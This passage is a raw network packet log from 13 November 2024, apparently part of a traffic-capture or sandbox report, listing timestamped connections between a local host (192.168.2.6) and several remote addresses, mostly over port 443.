Nov 13, 2024 18:08:16.953563929 CET	49750	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.953571081 CET	443	49750	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.954242945 CET	49751	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.954242945 CET	49751	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.954277039 CET	443	49751	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.954297066 CET	443	49751	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.987344027 CET	443	49752	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.988357067 CET	49752	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.988357067 CET	49752	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.988372087 CET	443	49752	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.988394976 CET	443	49752	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.002404928 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:17.002571106 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:17.002655983 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:17.002686024 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:17.002702951 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:17.002960920 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:17.003277063 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:17.003460884 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:17.003536940 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:17.003611088 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:17.003645897 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:17.003657103 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:17.003742933 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:17.003752947 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:17.004075050 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:17.004084110 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:17.004347086 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:17.004420996 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:17.004581928 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:17.015494108 CET	443	49753	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.016311884 CET	49753	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.016344070 CET	443	49753	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.017678976 CET	49753	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.017692089 CET	443	49753	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.018032074 CET	443	49754	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.019685030 CET	49754	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.019699097 CET	443	49754	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.023332119 CET	49754	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.023341894 CET	443	49754	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.081306934 CET	443	49750	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.081536055 CET	443	49750	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.081564903 CET	443	49751	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.081655025 CET	49750	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.081757069 CET	443	49751	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.082210064 CET	49750	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.082210064 CET	49750	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.082230091 CET	443	49750	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.082242012 CET	443	49750	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.082262039 CET	49751	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.116506100 CET	49751	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.116506100 CET	49751	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.116534948 CET	443	49751	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.116549969 CET	443	49751	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.123033047 CET	49755	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.123080015 CET	443	49755	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.123114109 CET	443	49752	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.123178005 CET	443	49752	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.123251915 CET	49755	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.123253107 CET	49752	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.123331070 CET	49756	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.123368025 CET	443	49756	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.124130964 CET	49755	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.124145985 CET	443	49755	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.124649048 CET	49752	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.124649048 CET	49752	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.124669075 CET	443	49752	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.124697924 CET	443	49752	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.125649929 CET	49756	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.127336025 CET	49756	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.127337933 CET	49757	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.127356052 CET	443	49756	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.127367973 CET	443	49757	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.127589941 CET	49757	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.127589941 CET	49757	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.127615929 CET	443	49757	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.146224976 CET	443	49753	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.146271944 CET	443	49753	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.146522999 CET	49753	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.146522999 CET	49753	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.147016048 CET	49753	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.147064924 CET	443	49753	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.149549961 CET	49761	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.149578094 CET	443	49761	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.149578094 CET	443	49754	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.149652004 CET	49761	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.149759054 CET	443	49754	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.149874926 CET	49761	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.149888992 CET	443	49761	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.149930954 CET	49754	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.150001049 CET	49754	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.150001049 CET	49754	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.150015116 CET	443	49754	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.150026083 CET	443	49754	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.152203083 CET	49762	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.152226925 CET	443	49762	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.152456999 CET	49762	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.152456999 CET	49762	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.152486086 CET	443	49762	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.852907896 CET	443	49757	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.853543997 CET	49757	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.853636980 CET	443	49757	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.853988886 CET	49757	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.854006052 CET	443	49757	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.890270948 CET	443	49756	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.890820980 CET	49756	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.890844107 CET	443	49756	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.891248941 CET	49756	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.891253948 CET	443	49756	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.895023108 CET	443	49761	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.895420074 CET	49761	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.895448923 CET	443	49761	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.895759106 CET	49761	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.895766020 CET	443	49761	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.896266937 CET	443	49762	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.896473885 CET	49762	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.896492958 CET	443	49762	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.896958113 CET	49762	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.896961927 CET	443	49762	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.899219036 CET	443	49755	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.899472952 CET	49755	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.899548054 CET	443	49755	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.899781942 CET	49755	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.899796963 CET	443	49755	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.980344057 CET	443	49757	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.980504990 CET	443	49757	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.980612040 CET	49757	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.980770111 CET	49757	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.980815887 CET	443	49757	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.980846882 CET	49757	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.980863094 CET	443	49757	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.983716011 CET	49764	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.983746052 CET	443	49764	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:17.983830929 CET	49764	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.983999968 CET	49764	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:17.984016895 CET	443	49764	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.030502081 CET	443	49762	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.030715942 CET	443	49762	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.030776024 CET	49762	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.030832052 CET	49762	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.030847073 CET	443	49762	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.030872107 CET	49762	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.030877113 CET	443	49762	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.032576084 CET	443	49756	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.033190012 CET	443	49756	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.033238888 CET	49756	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.033266068 CET	49756	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.033267975 CET	49765	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.033276081 CET	443	49756	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.033291101 CET	49756	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.033296108 CET	443	49756	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.033366919 CET	443	49765	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.033442974 CET	49765	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.034081936 CET	49765	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.034121037 CET	443	49765	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.035449982 CET	49766	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.035474062 CET	443	49766	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.035536051 CET	49766	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.035664082 CET	49766	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.035677910 CET	443	49766	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.040185928 CET	443	49755	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.040256977 CET	443	49755	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.040312052 CET	49755	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.040457010 CET	49755	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.040502071 CET	443	49755	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.040532112 CET	49755	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.040549040 CET	443	49755	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.042560101 CET	49767	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.042584896 CET	443	49767	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.042761087 CET	49767	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.042761087 CET	49767	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.042820930 CET	443	49767	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.043762922 CET	443	49761	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.044148922 CET	443	49761	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.044205904 CET	49761	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.044226885 CET	49761	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.044226885 CET	49761	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.044236898 CET	443	49761	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.044245005 CET	443	49761	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.045850992 CET	49768	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.045878887 CET	443	49768	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.045932055 CET	49768	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.046041012 CET	49768	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.046053886 CET	443	49768	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.582611084 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:18.582660913 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:18.734654903 CET	443	49764	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.735454082 CET	49764	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.735479116 CET	443	49764	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.735857964 CET	49764	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.735866070 CET	443	49764	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.767330885 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:18.767364979 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:18.767582893 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:18.767770052 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:18.767786980 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:18.770384073 CET	443	49766	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.770783901 CET	49766	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.770795107 CET	443	49766	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.771222115 CET	49766	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.771226883 CET	443	49766	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.777182102 CET	443	49765	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.777625084 CET	49765	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.777683973 CET	443	49765	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.778130054 CET	49765	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.778141022 CET	443	49765	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.778299093 CET	443	49767	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.778796911 CET	49767	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.778810024 CET	443	49767	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.779186964 CET	49767	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.779198885 CET	443	49767	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.786187887 CET	443	49768	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.786537886 CET	49768	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.786549091 CET	443	49768	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.786967039 CET	49768	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.786971092 CET	443	49768	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.892591953 CET	443	49764	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.892739058 CET	443	49764	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.892848015 CET	49764	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.893057108 CET	49764	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.893070936 CET	443	49764	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.893081903 CET	49764	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.893085957 CET	443	49764	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.895550966 CET	49771	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.895617962 CET	443	49771	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.895709991 CET	49771	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.895979881 CET	49771	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.896011114 CET	443	49771	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.899558067 CET	443	49766	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.900612116 CET	443	49766	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.903817892 CET	49766	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.903846025 CET	49766	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.903857946 CET	443	49766	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.903872013 CET	49766	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.903876066 CET	443	49766	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.905747890 CET	49772	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.905782938 CET	443	49772	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.907542944 CET	443	49765	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.907661915 CET	49772	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.907731056 CET	49772	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.907740116 CET	443	49772	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.907860994 CET	443	49767	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.907933950 CET	443	49765	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.907989025 CET	49765	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.908027887 CET	49765	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.908047915 CET	443	49765	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.908062935 CET	49765	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.908070087 CET	443	49765	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.908437014 CET	443	49767	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.909655094 CET	49773	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.909679890 CET	443	49773	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.909698009 CET	49767	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.909734011 CET	49773	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.909754992 CET	49767	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.909763098 CET	443	49767	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.909776926 CET	49767	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.909782887 CET	443	49767	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.909847021 CET	49773	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.909862041 CET	443	49773	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.911330938 CET	49774	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.911339998 CET	443	49774	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.911997080 CET	49774	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.912126064 CET	49774	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.912137032 CET	443	49774	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.914316893 CET	443	49768	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.915291071 CET	443	49768	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.916901112 CET	49768	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.916901112 CET	49768	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.916901112 CET	49768	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.918484926 CET	49775	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.918493032 CET	443	49775	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:18.920058012 CET	49775	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.920147896 CET	49775	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:18.920160055 CET	443	49775	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.225198984 CET	49768	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.225218058 CET	443	49768	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.626024008 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:19.626272917 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:19.626282930 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:19.627305031 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:19.627368927 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:19.628281116 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:19.628351927 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:19.628460884 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:19.628468037 CET	443	49770	142.250.184.238	192.168.2.6
Nov 13, 2024 18:08:19.633132935 CET	443	49772	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.633654118 CET	49772	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.633665085 CET	443	49772	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.634037971 CET	49772	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.634043932 CET	443	49772	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.639707088 CET	443	49775	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.640028000 CET	49775	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.640039921 CET	443	49775	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.640383005 CET	49775	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.640388966 CET	443	49775	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.640901089 CET	443	49774	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.641134977 CET	49774	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.641151905 CET	443	49774	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.641578913 CET	49774	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.641583920 CET	443	49774	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.643141031 CET	443	49773	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.643409014 CET	49773	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.643418074 CET	443	49773	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.643723011 CET	49773	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.643728018 CET	443	49773	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.652870893 CET	443	49771	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.653192997 CET	49771	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.653218985 CET	443	49771	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.653553963 CET	49771	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.653562069 CET	443	49771	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.678297043 CET	49770	443	192.168.2.6	142.250.184.238
Nov 13, 2024 18:08:19.695148945 CET	49778	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:19.695245981 CET	443	49778	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:19.695342064 CET	49778	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:19.695576906 CET	49778	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:19.695609093 CET	443	49778	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:19.764590025 CET	443	49772	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.764674902 CET	443	49772	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.764722109 CET	49772	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.765182018 CET	49772	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.765182018 CET	49772	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.765201092 CET	443	49772	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.765211105 CET	443	49772	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.767679930 CET	49779	443	192.168.2.6	142.250.186.78
Nov 13, 2024 18:08:19.767707109 CET	443	49779	142.250.186.78	192.168.2.6
Nov 13, 2024 18:08:19.767781973 CET	49779	443	192.168.2.6	142.250.186.78
Nov 13, 2024 18:08:19.767968893 CET	49779	443	192.168.2.6	142.250.186.78
Nov 13, 2024 18:08:19.767991066 CET	443	49779	142.250.186.78	192.168.2.6
Nov 13, 2024 18:08:19.768007040 CET	49780	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.768043041 CET	443	49780	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.768096924 CET	49780	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.768228054 CET	49780	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.768239975 CET	443	49780	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.768481970 CET	443	49775	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.768704891 CET	443	49775	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.768755913 CET	49775	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.768778086 CET	49775	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.768785000 CET	443	49775	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:19.768795013 CET	49775	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:19.768799067 CET	443	49775	13.107.246.45	192.168.2.6
